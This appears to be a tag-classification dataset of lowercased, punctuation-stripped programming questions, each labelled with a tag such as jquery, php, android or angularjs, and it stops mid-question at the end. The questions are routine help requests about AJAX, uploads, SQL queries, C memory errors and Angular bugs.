jquery ajax only works first time  i have a table of data that on a button click certain values are saved to the database  while other values are retrieved. i need the process to be continuous  but i can only get it to work the first time.    at first i was using <code>.ajax()</code> and <code>.replacewith()</code> to rewrite the entire table  but because this overwrites the dom it was losing events associated with the table. i cannot use <code>.live()</code> because i m using <code>stoppropagation()</code> and <code>.live()</code> doesn t support it due to event bubbling. i was able to essentially re-bind the click event onto the table within the <code>.ajax()</code> callback  but a second call to the button click event did nothing.    i changed the code to use <code>.get()</code> for the ajax and <code>.html()</code> to put the results in the table (the server-side code now returns the complete table sans the <code>&lt;table&gt;</code> tags). i no longer have to rebind the click event to the table  but subsequent clicks to the button still do nothing.    finally  i changed it to <code>.load()</code>  but with the same (non-) results.    by  do nothing  i mean while the ajax call is returning the new html as expected  it s not being applied to the table. i m sure it has something to do with altering the dom  but i thought since i m only overwriting the table contents and not the table object itself  it should work. obviously i m missing something; what is it     <strong>edit:</strong>    html:   <pre><code>&lt;table id= table1  class= mytable &gt;     &lt;tr&gt;         &lt;td&gt;&lt;span id= item1  class= myitem &gt;&lt;/span&gt;&lt;/td&gt;         &lt;td&gt;&lt;span id= item2  class= myitem &gt;&lt;/span&gt;&lt;/td&gt;     &lt;/tr&gt; &lt;/table&gt;  &lt;input id= button1  type= button  value= submit  /&gt; </code></pre>   jquery:   <pre><code>$(  button1  ).click( function() {     $(  table1  ).load(          data.aspx           function( data ) {             //...         }     ); } ); </code></pre>,jquery
object is not refreshing in mobile browser  let s say i have simple button   <pre><code>&lt;div class= btn red-btn  role= button &gt;1&lt;/div&gt; </code></pre>   and after click on this button i do something like that:   <pre><code>if flag    this.$el.find( div ).attr( class    btn blue-btn ); else     this.$el.find( div ).attr( class    btn red-btn ); </code></pre>   i mean  when i click on this button  it changes color. everything is ok  when i click for the first time  but after second click  it doesn t change color.   1. on desktop browser it works perfectly  but in mobile browser it doesn t.  2. when i click in other place of the page  button is changing it color after second click. it looks like it is not refreshing after second click and when i click other place it is refreshing.     every help will be appreciated.,jquery
how to determine what url to submit a form to  i am trying to submit a simple post form to a website to get past the form screen and download data from the site.  it is not working because i do not know the exact url of where to submit the form (no *.cgi script).    i tried to follow the tutorial at <a href= http://www.voidspace.org.uk/python/articles/urllib2.shtml#data  rel= nofollow >http://www.voidspace.org.uk/python/articles/urllib2.shtml#data</a>    how would i determine where to submit such a form  in this example  the form is at this location: <a href= http://www.verizonwireless.com/b2c/store/controller item=phonefirst&amp;action=viewphoneoverviewbydevice&amp;devicecategoryid=1  rel= nofollow >http://www.verizonwireless.com/b2c/store/controller item=phonefirst&amp;action=viewphoneoverviewbydevice&amp;devicecategoryid=1</a>   <pre><code>import urllib.parse import urllib.request  ## url is wrong... url =  http://www.verizonwireless.com/b2c/store/controller item=phonefirst&amp;action=viewphoneoverviewbydevice&amp;devicecategoryid=1   values = {  zipcode  :  11111    state :  ny  }  data = urllib.parse.urlencode(values) data = data.encode( ascii )  req = urllib.request.request(url data)  response = urllib.request.urlopen(req) the_page = response.read() print(the_page) </code></pre>,html
php custom name to files  how can i make a custom name to the pictures they/i upload  preferably i want them to get numbers as names  and the next picture get the number of the last name +1.   <pre><code>&lt; php     $target_dir =  ../image/dbfilmcover/ ;      $target_file = $target_dir . basename($_files[ filetoupload ][ name ]);     $uploadok = 1;     imagefiletype = pathinfo($target_file  pathinfo_extension);      // check if image file is a actual image or fake image     if (isset($_post[ submit ])) {         $check = getimagesize($_files[ filetoupload ][ tmp_name ]);         if ($check !== false) {             echo  file is an image -   . $check[ mime ] .  . ;             $uploadok = 1;         } else {             echo  file is not an image. ;             $uploadok = 0;         }     } else {          if (move_uploaded_file($_files[ filetoupload ][ tmp_name ]  $target_file)) {             echo  the file   . basename($_files[ filetoupload ][ name ]) .   has been      uploaded. ;         } else {             echo  sorry  there was an error uploading your file. ;         }     }  &gt; </code></pre>   i appreciate all the help i can get  if i didn t give enough information  just ask,php
can download  can t read  i m using this to download a file:   <pre><code>string url =  https://file to download ;     downloadmanager.request request = new downloadmanager.request(uri.parse(url));     request.setdescription( my file to download );     request.settitle( downloading );      // in order for this if to run  you must use the android 3.2 to compile your app     if (build.version.sdk_int &gt;= build.version_codes.honeycomb) {         request.allowscanningbymediascanner();         request.setnotificationvisibility(downloadmanager.request.visibility_visible_notify_completed);     }     request.setdestinationinexternalpublicdir(environment.directory_downloads  context.getstring(r.string.dloded_latest_numbers));      // get download service and enqueue file     downloadmanager manager = (downloadmanager) context.getsystemservice(context.download_service);     manager.enqueue(request); </code></pre>   which all works great. puts the file in the standard downloads directory which i confirm is there.    then i try to read the file into a bufferedreader like so:   <pre><code> file latestnumbersfile;         latestnumbersfile = new file(environment.directory_downloads  getstring(r.string.dloded_latest_numbers));         textview displayarray = (textview) findviewbyid(r.id.currentnumbers);         string tmp = latestnumbersfile.tostring(); // converts type (file) to string type         displayarray.settext(tmp);         bufferedreader buffedreader = new bufferedreader(new filereader(latestnumbersfile)); </code></pre>   then display the file location in a textview  which works and gives the dir /download/file to download note the leading  /  not sure if that s important...    my question is: using file(environment.directory_downloads  getstring(r.string.dloded_latest_numbers) allows me to download to a dir i expect the file to be in  but using the exact same reference to read the file from i get java.io.filenotfoundexception open failed: enoent (no such file or directory)    can anyone help,android
getting a string in c++ from user  and displaying it  how do i do it      it tried this code:   <pre><code>  char num[10];    printf( enter num: );    scanf_s ( %s   &amp;num);    printf( \n%s \n   num); </code></pre>   ignore  num  please.. i use vs 2013  and my only included library is  stdafx.h,c++
ng-include reloads the whole page in ie9  i have a main.html page and using ng-include i load the content of child.html  whenever i access the main.html in ie9 it reloads the whole page  however it works perfectly fine with chrome and firefox.,angularjs
in ios  are there any guidelines for how many view controllers an app should have in a navigation stack   i am developing an app in which the user can navigate through 6 view controllers and then all the way back if they want to. and now i am concerned about that it is maybe too many view controllers for back navigation. are there any guidelines about this  i can not find any design guidelines that specifies any limit to how many view controllers is ok for navigating back in an app. can anyone point me in the right direction,ios
adding a property to add() method  i m trying to add a property to a <code>add()</code> method but it doesn t seem to work. i m sure i m missing something.   <pre><code>  items.add(new itemproperties                     {                         item = convert.toint32(lines[i])                          description = lines[i + 1]                          quantity = convert.toint32(lines[i + 2])                          unitprice = convert.toint32(lines[i + 3])                          tax = convert.toint32(lines[i + 4])                          totaltax = 34234                          total //&lt;-- error: invalid initializer member declarator                       }); </code></pre>   <code>itemproperties</code> class:   <pre><code>  public class itemproperties         {             public int item { get; set; }             public string description { get; set; }             public int quantity { get; set; }             public int unitprice { get; set; }             public int tax { get; set; }             public int totaltax { get; set; }             public int total {                 get                 {                     return quantity * unitprice;                 }                  set                 {                 }             }          } </code></pre>   i m getting two errors:   <blockquote>    invalid initializer member declarator        the name  total  does not exist in the current context  </blockquote>   what i want the <code>total</code> property to do is to add the result of <code>quantity * unitprice</code> to the <code>add()</code> method,c#
how to use foundation 6 interchange with paperclip  here is the code for foundation 6 interchange. i was thinking that it can maybe work with the second piece of code i put but it doesn t seem to work. is there a better approach to do this     zurb foundation example code   <pre><code>  &lt;img data-interchange= [assets/img/interchange/small.jpg  small]  [assets/img/interchange/medium.jpg  medium]  [assets/img/interchange/large.jpg  large] &gt; </code></pre>   second peace of code   <pre><code> &lt;%= image_path data: {interchange:  [@anime.header_image.url(:large)  large]   [@anime.header_image.url(:medium}  medium]  [@anime.header_image.url(:small)  small] %&gt; </code></pre>,ruby-on-rails
z index a draggable div with javascript only  so i have created an draggable div  that i want to be on top the other divs when dragging around it on the content.    i have tried style.zindex=1 but it don t seem to solve the problem  if i do it with jquery there is no problem  but i want to solve it by javascript.    any tips      this is what i have come up with.   <pre><code>  function changeclass() {             var diceclass = document.getelementsbyclassname( window );             for(var i = 0; i&lt;diceclass.length; i++){                 var z = 10;                 diceclass[i].style.zindex=z++;             console.log(diceclass)             }          }          changeclass() </code></pre>   and my css   <pre><code>.window {      width               : 342px;     height              : 182px;     top                 : 0px;     left                : 0px;     position            : absolute;     background          : url(window.png) no-repeat;      -webkit-user-select: none;    -moz-user-select: none;    -ms-user-select: none;    -khtml-user-select: none;    user-select: none;    cursor: default;      } </code></pre>   i created an jsfiddle. the code is on row 31 - 42    <a href= http://jsfiddle.net/dymond/tqdfz/1/  rel= nofollow >http://jsfiddle.net/dymond/tqdfz/1/</a>,javascript
div overflow; overflow problem  i have a div content that has a fix width size. inside of the div i put other div s - float:left;     what i need :    the content div to make overflow:auto (horizontal) if the divs that are inside have more width than the content div width.   <pre><code>&lt;div class= div_26  style= width:10px;height:10px;overflow:auto;  &gt;  &lt;div style= float:left;width:7px;height:8px; &gt; &lt;div style= float:left;width:7px;height:8px; &gt;   &lt;div style= float:left;width:7px;height:8px; &gt;  &lt;/div&gt; </code></pre>,html
handling method returning void uniformly with method returning a value  i have a helper function like this:   <pre><code>template&lt;typename t  typename r  typename arg0&gt; void callmethod(data *data  t &amp;object  r (t::*method)(arg0)) {     push(data  (object.*method)(get&lt;arg0&gt;(data  1))); } </code></pre>   where <code>push</code> pushes result into data  and <code>get</code> gets arguments from data. using boost preprocessor i have defined this function for various number of arguments.    the problem is when a method returns <code>void</code> (<code>r</code> is <code>void</code>) the code does not compile because <code>void</code> is not a valid argument/parameter to the <code>push</code> function. in case of a <code>void</code> return value i would like to just call the method and not call <code>push</code>. what is the best way to do so     overloading does not help as then the call to the <code>callmethod</code> is ambiguous:   <pre><code>template&lt;typename t  typename arg0&gt; void callmethod(data *data  t &amp;object  void (t::*method)(arg0)) {     (object.*method)(get&lt;arg0&gt;(data  1)); } </code></pre>,c++
car make model dropdown web service  i once found a slick looking car make/model dropdown menu web service that advertised form helpers for ruby on rails  have subsequently been unable to find this again by googling for it.... anybody know the service i am talking about,ruby-on-rails
angularjs order by key list  how i can achieve order by either in ascending or descending mainsubjectallocationlist &amp; optionsubjectallocationlist key while printing table.    my code is as below   <pre><code>vm.sectionlistwithclass = [    {      classstd :  prep-2015        classid :  1        section :  b        sectionname :  red        sectionid :  6        mainsubjectallocationlist :  hindi  biology  geography  english  chemistry        mainsubjectallocationid :  28        optionsubjectallocationlist :  chemistry  p.t  3rd lang urdu  art  3rd lang arabic  3rd lang chinese  3rd lang german  life skill        optionsubjectallocationid :  27    }  ]       &lt;tbody ng-repeat= (key  value) in vm.sectionlistwithclass | groupby:  classstd   &gt;                     &lt;tr ng-repeat= player in value | orderby:  section  | orderby: mainsubjectallocationlist :true &gt; </code></pre>,angularjs
css print style sheets - examples  trying to learn about how  to effectively use print.css  so that graphical and navigational elements are not shown in print preview/print. read some articles  and part of print css of html5 boilerplate. two sites  which was quite impressive the way they change the look during print are    <a href= http://css-tricks.com/  rel= nofollow >http://css-tricks.com/</a>    <a href= http://bottlerocketcreative.com/  rel= nofollow >http://bottlerocketcreative.com/</a>    but i cannot see the css related to print. can you please point to the css they use to learn how to do similar transformation.,css
how to make mutiple preg_macth  how do i make multiple <code>preg_match</code> on a <code>string</code>. i did a research and able to come out with below solutions.   <pre><code>&lt; php $input =  @hello@ &amp; good day ~world~ ; $regex =  /     ~        (.* )        ~     /six ;  $input_new = preg_replace($regex  &lt;i&gt;$1&lt;/i&gt;   $input); echo $input_new; </code></pre>   the above will search for <code>(~)string(~)</code> and change to <em>italic</em> format. how do i want to make the search for <code>(@)string(@)</code> and change to <strong><b>bold</b></strong> format on the same text.,php
image blur in android  i have taken thumbnail image from gallery  which is smaller in size and resized into 300*300 size.    by doing that the image looking so blurred.    <strong>getting image from gallery</strong>   <pre><code> @override     protected void onactivityresult(int requestcode  int resultcode              intent imagereturnedintent) {         super.onactivityresult(requestcode  resultcode  imagereturnedintent);          switch (requestcode) {         case 0:             if (resultcode == result_ok) {                 try {                     flag = 1;                     uri selectedimage = imagereturnedintent.getdata();                     string[] filepathcolumn = { mediastore.images.media.data };                      cursor cursor = getcontentresolver().query(selectedimage                              filepathcolumn  null  null  null);                     cursor.movetofirst();                      int columnindex = cursor.getcolumnindex(filepathcolumn[0]);                     string filepath = cursor.getstring(columnindex); // file                     // path                     // of                     // selected                     // image                     cursor.close();                      // convert file path into bitmap image using below line.                      yourselectedimage = download.getresizedbitmap(                         image.decodeimage(filepath) 270 228);                      // put bitmapimage in your imageview                     profile_image.setimagebitmap(                             yourselectedimage);                 } catch (exception e) {                     e.printstacktrace();                 }             }         }     } </code></pre>   <strong>image resizing</strong>   <pre><code>public  bitmap getresizedbitmap(bitmap bm  int newheight  int newwidth)      {         try         {             if(bm!=null)             {             int width = bm.getwidth();             int height = bm.getheight();             float scalewidth = ((float) newwidth) / width;             float scaleheight = ((float) newheight) / height;             // create a matrix for the manipulation             matrix matrix = new matrix();             // resize the bit map             matrix.postscale(scalewidth  scaleheight);             // recreate the new bitmap             resizedbitmap = bitmap.createbitmap(bm  0  0  width  height  matrix  true);                }             }             catch(exception e)             {                 e.printstacktrace();             }          return resizedbitmap;     }  </code></pre>,android
how do i build a query for this   i have this table:   <pre><code>+--------+---------+-----------+------------+ | bed_id | bed_num | place_id  | bed_date   | +--------+---------+-----------+------------+ |      1 |     150 |         1 | 1244344305 | |      2 |     250 |         1 | 1244345469 | |      3 |     145 |         2 | 1244348496 |  |      3 |     146 |         2 | 1244348497 |  +--------+---------+-----------+------------+ </code></pre>   i want to select all the unique <code>place_id</code>s with most recent date of <code>bed_num</code> so it should return something like below:   <pre><code>+--------+---------+-----------+------------+ | bed_id | bed_num | place_id  | bed_date   | +--------+---------+-----------+------------+ |      2 |     250 |         1 | 1244345469 | |      3 |     146 |         2 | 1244348497 |  +--------+---------+-----------+------------+ </code></pre>   i have tried mixing group by and order by using distinct(place_id) and max(bed_date)    but failing!    thanks for any help! :),mysql
how is this attribute value bound without interpolation markup  <ul> <li>mycontroller has clickedvalue as false in its scope. </li> <li>the click changes it to true </li> <li>the dir directive watches for change on the clicked attribute.</li> <li>how is the $watch seeing change - or how is the clickvalue changing without being interpolation markup {{clickvalue}} </li> <li> right now <code>click= clickvalue </code> triggers the $watch which would mean it is  bound  to the mycontoller s clickvalue   <pre><code> &lt;div ng-controller= mycontroller &gt;   &lt;button ng-click= click() &gt;call function inside directive&lt;/button&gt; &lt;dir clicked= clickedvalue &gt;&lt;/dir&gt;   &lt;/div&gt; </code></pre></li> </ul>   app.js   <pre><code>app.controller( mycontroller   [ $scope   function($scope) {   $scope.clickedvalue = false;   $scope.click = function() {   $scope.clickedvalue = !$scope.clickedvalue;   };  } ]);  appdirectives = angular.module( app.directives   []);  appdirectives.directive( dir   [function() {   return {     restrict:  e       scope:    {     clicked:    =      }        link:function(scope  element  attrs ) {         scope.$watch( clicked   function() {         console.log( innerfunc called );         })       }     };     }]); </code></pre>,angularjs
group by invalid when upgraded mysql version  when i upgraded my ubuntu from 15.10 to 16.04 i have this error in my yii project:     <blockquote>    cdbcommand failed to execute the sql statement: sqlstate[42000]:   syntax error or access violation: 1055 expression #1 of select list is not in group by clause and contains nonaggregated column    v4master.a.id  which is not functionally dependent on columns in   group by clause; this is incompatible with   sql_mode=only_full_group_by. the sql statement executed was:  </blockquote>   the sql code is follows:   <pre><code> $sql =  select a.* b.`type_name` from ` .$this-&gt;tbl_auth_user_items. ` a                  inner join ` .$this-&gt;tbl_auth_context_types. ` b on a.`type_id` = b.`type_id`                  where a.`user_id` =   .$user_id.   group by a.`type_id`  a.`type_value` order by a.`type_id` desc ;          return $this-&gt;_db-&gt;createcommand($sql)-&gt;queryall();  </code></pre>,mysql
how to test auto renewal in app purchase model  <br><br> i have to implement in app purchase auto-renewal model in my app. i have created a test user and getting the response from app store for subscription. when i tap  <code>confirm</code>  then sometimes its state becomes <code>skpaymenttransactionstatepurchased</code> and sometimes it becomes <code>skpaymenttransactionstaterestored</code>. my problem is that i want to prevent user to use the app if he has not subscribed the app. for that i am trying to track the state of  <code>skpaymenttransaction</code>  so that i can allow or disallow the user to use the app. such that  if the state is <code>skpaymenttransactionstatepurchased</code>  only then he could be able to use the app  but i don t understand how its state changes.    one more thing  when i tap on the  <code>settings</code>  to manage my auto-renewal  it shows me that my app will be expired on the current date i.e.  today itself  but when i tapped on the  <code>confirm</code>  button to subscribe my app for one month then expiry date should be after one month. i don t understand how this whole process is working.    i have read whole documentation of auto renewal  but didn t get any help from that.     please help!,iphone
c# how do i ignore the error message could not find a part of the path   im gonna do something with drive a first    after that gonna do something with drive b  then gonna do something with drive c !    but my problem is if first drive (a) does not exist  my application will do error ( could not find a part of the path a:\ )    for doing something to drive b  we need to press the continue button     please just help me....    string fdrt = system.environment.machinename.tostring();    string fdrsir =  f:\ ;,c#
trying to implement a word search in c  as the title says  i m trying to make a word search in c. however  when i run what i have  i m getting an aborted(core dumped) message.    my code:   <pre><code>void lefttoright(int rowcol  char **matrix  char* find){      int i  j  k  q  len  count = 0;     len = strlen(find);      for (i = 0; i &lt; rowcol; i++){             for (j = 0; j &lt; rowcol; j++){                     if (matrix[i][j] == find[0]){                             char* correct = malloc(sizeof(char) * 20);                              for (q = j; q &lt; rowcol; q++){                                     for (k = 0; k &lt; len; k++){                                             if (matrix[i][q] == find[k]){                                                     correct[k] = matrix[i][q];                                             }                                     }                             if (strcmp(correct  find) == 0){                                     count++;                                     printf( %s\n   correct);                                     printf( %d\n   count);                             }                             }                             free(correct);                     }                     else continue;             }     }     printf( %d   count); } </code></pre>   .   <pre><code>if (strcmp(correct  find) == 0){          count++;          printf( %s\n   correct);          printf( %d\n   count); } </code></pre>   prints    <pre><code>bagel 1 bagel 2 bagel 3 bagel 4 bagel 5 bagel 6 bagel 7 bagel 8 bagel 9 bagel 10 bagel 11 bagel 12 bagel 13 aborted (core dumped) </code></pre>   what is making it abort  also  what do i need to do differently to make count == 1 (the word only appears once)     my entire program if needed:   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include  scanner.h  #include &lt;string.h&gt; #include &lt;ctype.h&gt;  char** matrixmaker(int argc  char **argv); void displaymatrix(int rowcol  char **matrix); void lefttoright(int rowcol  char **matrix  char* find);  int main(int argc  char **argv){      file *fp = fopen(argv[2]   r );      int rowcol = atoi(argv[1]);     int a  i = 0  j;     unsigned char cha;     char **matrix;     matrix = malloc( sizeof(char *) * rowcol);      for (a=0; a&lt;20; a++)             matrix[a] = malloc( sizeof(char) * rowcol);      for (i = 0; i &lt; rowcol; i++){             for (j = 0; j &lt; rowcol; j++){                     cha = tolower((unsigned char)readchar(fp));                     matrix[i][j] = cha;             }     }      char* find = malloc(sizeof(char) * 20);      displaymatrix(rowcol  matrix);      printf( enter a word to find in the puzzle : \n );     scanf( %s   find);      while(find[i]){             putchar(tolower((unsigned char)find[i]));             i++;     }      lefttoright(rowcol  matrix  find);      free(matrix);      return 0; }  void displaymatrix(int rowcol  char **matrix){      int r c;     for (r = 0; r &lt; rowcol; ++r){             for (c = 0; c &lt; rowcol; ++c){                     printf( %c  matrix[r][c]);             }             printf( \n );     } }  void lefttoright(int rowcol  char **matrix  char* find){      int i  j  k  q  len  count = 0;     len = strlen(find);      for (i = 0; i &lt; rowcol; i++){             for (j = 0; j &lt; rowcol; j++){                     if (matrix[i][j] == find[0]){                             char* correct = malloc(sizeof(char) * 20);                              for (q = j; q &lt; rowcol; q++){                                     for (k = 0; k &lt; len; k++){                                             if (matrix[i][q] == find[k]){                                                     correct[k] = matrix[i][q];                                             }                                     }                             if (strcmp(correct  find) == 0){                                     count++;                                     printf( %s\n   correct);                                     printf( %d\n   count);                             }                             }                             free(correct);                     }                     else continue;             }     } printf( %d   count); } </code></pre>,c
what does it mean by  -moz-transform  depricated   i have used the css below to make speech bubble for my website  <a href= http://bridale-architectural-antiques.co.uk/yep_3  rel= nofollow >yep website</a>      it looks okay in google chrome and safari. it does not show up in firefox giving me    -moz-transform  depricated  i am not good in designing. i want to seek help how to correct this problem. thanks in advance.   <pre><code>/*speech bubbles*/     .wiget_bottom_all li h3 {         position:relative;         padding:15px;         margin:1em 0 3em;         color:#fff;         background:#00b9b7;         /* css3 */         background:-webkit-gradient(linear  0 0  0 100%  from(#f04349)  to(#c81e2b));         background:-moz-linear-gradient(#f04349  #c81e2b);         background:-o-linear-gradient(#f04349  #c81e2b);         background:linear-gradient(#00b9b7  #00b9b7);         -webkit-border-radius:10px;         -moz-border-radius:10px;         border-radius:10px;     }       /* the triangle     ------------------------------------------------------------------------------------------------------------------------------- */      /* creates the wider right-angled triangle */     .wiget_bottom_all li h3:before {         content:  ;         position:absolute;         bottom:-20px; /* value = - border-top-width - border-bottom-width */         left:105px; /* controls horizontal position */         border:0;         border-right-width:30px; /* vary this value to change the angle of the vertex */         border-bottom-width:20px; /* vary this value to change the height of the triangle. must be equal to the corresponding value in :after */         border-style:solid;         border-color:transparent #00b9b7;         /* reduce the damage in ff3.0 */         display:block;          width:0;     } </code></pre>,css
how to write the following query   the query for the output below:   <pre><code>select ce.date  p.courseexecution_date from courseexecution as ce left join participant as p on ce.courseid = p.courseexecution_courseid where ce.courseid = 2 and p.personid = 4; </code></pre>   output:   <pre><code>    |     date     | courseexecution_date |      --------------------------------------     |  2017-12-05  |      2017-12-05      |     |  2017-12-08  |      2017-12-05      |     |  2017-12-09  |      2017-12-05      |     |  2017-12-12  |      2017-12-05      | </code></pre>   i only want to show the dates to the user that he did not sign up for  like this:    expected result:   <pre><code>|     date     |   --------------- |  2017-12-08  | |  2017-12-09  |  |  2017-12-12  |  </code></pre>   how should the query look like  many thanks.,sql
error: conflicting parameter types in implementation ns_enum  i m using a custom protocol in  my view controller and one of its required methods takes a ns_enum type called punchstate.    <pre><code>#import  globals.h   @protocol punchviewcontrollerdelegate &lt;nsobject&gt;  -(void) punchviewdidchangestate:(punchstate) newstate; -(void) punchviewdidchangetimerstarttimeto:(cfabsolutetime) newtime;  @end </code></pre>   punchstate is defined in globals.h like so...   <pre><code>typedef ns_enum(nsinteger  punchstate) {     punchstatestarting =1      punchstateworking      punchstatebreaking      punchstatelunching      punchstateending  }; </code></pre>   problem is that whenever i try to use create the protocol method in my delegate it changes it from a <strong><em>punchstate</em></strong> variable as declared in the protocol  to an <strong><em>id</em></strong> like this.    <pre><code>- (void)punchviewdidchangestate:(id)newstate {     self.currentstate = (punchstate) newstate; } </code></pre>   now it will work as is  but i m wondering why i couldn t just use this:   <pre><code>- (void)punchviewdidchangestate:(punchstate)newstate {     self.currentstate = (punchstate) newstate; } </code></pre>   whenever i try i get the error in question. any thoughts or insight would be greatly appreciated.,objective-c
python: why am i getting different sorted results  i am trying to write a function where is take a dictionary who s values are tuples and sort them by the values in the tuple. however i am getting confused.    if i run   <pre><code>return sorted(mydict.values()  key=lambda x:x[0]) </code></pre>   it returns everything in the order i want it except it doesn t return the dictionary keys with it  which i need.    so i tried running this:   <pre><code>return sorted(mydict.items()  key=lambda x:x[1]) </code></pre>   but the ordering becomes different.    what is the difference between this two calls as far as ordering goes,python
ios 7 : set an image(for background image or a view) dynamically during runtime   i have an app for different clients  the clients need to have their own logos and different background colors for the same app(of course a lot more customization for each client required). every week or so i get a request to deploy for a new client and with their new logos/images. i was thinking to have a deployer app that with passing an id of a client  i would be able to download all their logos/images from the server(as i have them ready there) and inject them to the same generic app that i have to make it easier to deploy for a new client. my app is a web based app that i get most of my data from server. i know that the bundle is readonly and i don t want to keep all the possible images/logos in one app either and i don t want to make this manually as much as possible(i m doing right now). i thought it could be easier approach that can reduce my manual customization process with using web service calls for downloading dynamic data and replace those images/logos from server to my app. any thought  tia,ios
getting this error error: $rootscope:infdig infinite $digest loop  trying to run this angular function  but i am getting this error error: $rootscope:infdig infinite $digest loop. what shall i do for fix    here s my angular service which returns an interger of year like 2020   <pre><code>  function getmaxyear() {         var url = apiservice.apiurl +  /disbursements/disbursementschedule/max ;         return apiservice.deferredget(url);      }; </code></pre>   how can i change below angular function in controller to display range of dates between current year till 2020(result that we got from api ). so var range should have 2017  2018  2019  2020   <pre><code>$scope.myfunction = function () {         var range = [];         var startyear = new date().getfullyear();         var endyear;         disbursementsmodel.getmaxyear().then(function (response) {              endyear = response.data;              return response;         });          while (startyear &lt;= endyear) {             range.push(startyear++);         }          return range;     } </code></pre>   here is my html   <pre><code>&lt;select ng-options= year for year in myfunction()  name= year  ng-model= year  required&gt;     &lt;option value selected disabled&gt;select year&lt;/option&gt; &lt;/select&gt; </code></pre>,angularjs
ios waiting screen  when my app is launched i d like to display a kind of  waiting view  so i can make the first http calls before accessing to the app.<br> i saw a nice one  all grey and a little transparent with only an activity indicator inside.<br> i do not really know how to build this kind of view in a good manner  is it a simple uiview,ios
identifying dragged item  i am (once again) working on a drag and drop item and am unable (currently) to solve the following issue.    the segment of code that is of concern is:   <pre><code>function allowdrop(ev) {ev.preventdefault();}  function drag(ev) {ev.datatransfer.setdata( text   ev.target.id);}  function drop(ev) {     ev.preventdefault();      // find out the name of the div you are dropping this in to     var prntid = ev.target.parentnode.id;      var tgt = ev.datatransfer.getdata( text );      alert ( ev.target.id =   + ev.target.id +  \n  +  prntid =   + prntid +  \n  +  tgt =   + tgt); </code></pre>   quite simply  the alert should give me the id for the item being dropped on to  the parent div of that item and the id of the item being dropped (or the div that the item has been dragged from). however  it is this last piece of data that i cannot identify.    i have achieved this with images using almost identical code  but this time i have a  that is being dragged and dropped.    how can i identify the draggable item s id  or the parent from which it came (either is fine),javascript
how to close a form from a form in c#   i have 3 forms. from form1 i open form3 and form4 with a button. but than when i press a button on form4 i want to close both form4 and form3.(don t worry about form2)    form1:   <pre><code>private void button1_click(object sender  eventargs e)     {          form3 frm3 = new form3();         frm3.show();          form4 frm4 = new form4();         frm4.show();        } </code></pre>   form4:    <pre><code>private void button12_click(object sender  eventargs e){     this.close();     //plus close form3 </code></pre>,c#
php delete one value in .txt  i have data that saved in save.txt below is the content...    a;;;    b;;;    c;;;b    d;;;a    e;;;b    f;;;c    how to delete the a and b values in php    <pre><code>$pick= file_get_contents( save.txt ); $rows= explode( \n   $pick); array_shift($rows); foreach($rows as $row =&gt; $data) {     $row_data = explode( ;  $data);     echo $row_data[0]. - .$row_data[3]. &lt;br/&gt; ;     if($row_data[3]==false)     {         //here is the command     } } </code></pre>   please help me. thankyou :),php
improve my asyncronous request design  i would like some opinions on a design that i have. my app is starting to send an asynchronous request to get some json data and if that goes well i get to my callback method and then start some other asynchronous request for some data then in another callback i go on and on and i feel my code is getting to be like spaghetti code  i jump from one callback method to a request to another callback then request and so on  any ideas of an better design      let me show some example code (not the real code but shows my point) :    <code>-(void)startapp { //make an request and use callbackmethod to parse data }</code>    <code>-(void)callbackmethod { //parse data and check it  if ok go make next request and use callbackmethod1 }</code>    <code>-(void)callbackmethod1 { //parse data and check it  if ok go make next request and use callbackmethod2 }</code>    <code>-(void)callbackmethod2 { //parse data and check it  if ok go make next request and use callbackmethod3 }</code>    <code>-(void)callbackmethod3 { //parse data }</code>    you get the point. it s a mess after my opinion and i want to refactor the code to something more readable and easier to maintain. i heard about blocks. not sure how/if that might make my design better.    donnib,objective-c
not found method emulation via proxy  in past  js had object.prototype.__ nosuchmethod __ for handling nonexistent methods  so you was able to use methods as messages according to oop.    unfortunatelly  it s deprecated now. replacement is proxy object. but apply handler catch calls only on functions  not objects  so you can t catch nonexistent methods.    you can use get handler  but you don t know if you should return some function  or value  or nothing and just do something. you haven t context of name access.    so  any ideas how to handle nonexistent methods without explicit checking,javascript
ng-repeat order by number only positive value  i have a list i want to sort based on a number. this number can be negative or positive. my idea is that the order of lowest to highest  but the number must be positive  negative automatically hidden. but i want to add an option  such as a selector that says only positive or all. if you select all showing both negative and positive but negative to the last. whereas if i select only positive  show positive from lowest to highest. it could do this    <pre><code>&lt;ion-item ng-repeat= torneo in torneos | orderobjectby: dias   item= item  class= item item-icon-right  ng-click= vertorneo(torneo.torneo_id) &gt;             {{torneo.torneo_nombre}} {{torneo.dias}}             &lt;i class= icon ion-ios-arrow-right &gt;&lt;/i&gt; &lt;/ion-item&gt;  app.filter( orderobjectby   function(){ return function(input  attribute) { if (!angular.isobject(input)) return input;  var array = []; for(var objectkey in input) {     array.push(input[objectkey]); }  array.sort(function(a  b){     a = parseint(a[attribute]);     b = parseint(b[attribute]);     return a - b; }); return array; } }) </code></pre>   this function directs me the numbers from lowest to highest  but have not been able to pull negative last. the order is as follows:   <pre><code>-3 -1  2 10 </code></pre>   what i want is   <pre><code> 2 10 -1 -3 </code></pre>,angularjs
c++ run and closes when finish  <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/2529617/how-to-stop-c-console-application-from-exiting-immediately >how to stop c++ console application from exiting immediately </a>    </blockquote>     i m currently learning c++ and cant figure out how to stop the application from exiting when i want to show the user some data  and have time to read it. how may i do that     update: somehow i pause the application and when the user click a button it exits.,c++
why does a generic setter break type covariance  even when it is constrained   i have the following interface:   <pre><code>public interface icommand&lt;tmessage&gt;      where tmessage : messagebase  {     tmessage message { get; set; } } </code></pre>   i would like to be able to cast implementations to imessage but for this to be possible  the type parameter needs to be covariant  like so:   <pre><code>public interface icommand&lt;out tmessage&gt;      where tmessage : messagebase  {     tmessage message { get; set; } } </code></pre>   but then  the compiler complains: the type parameter  tmessage  must be invariantly valid on icommand.message .  tmessage  is covariant. if i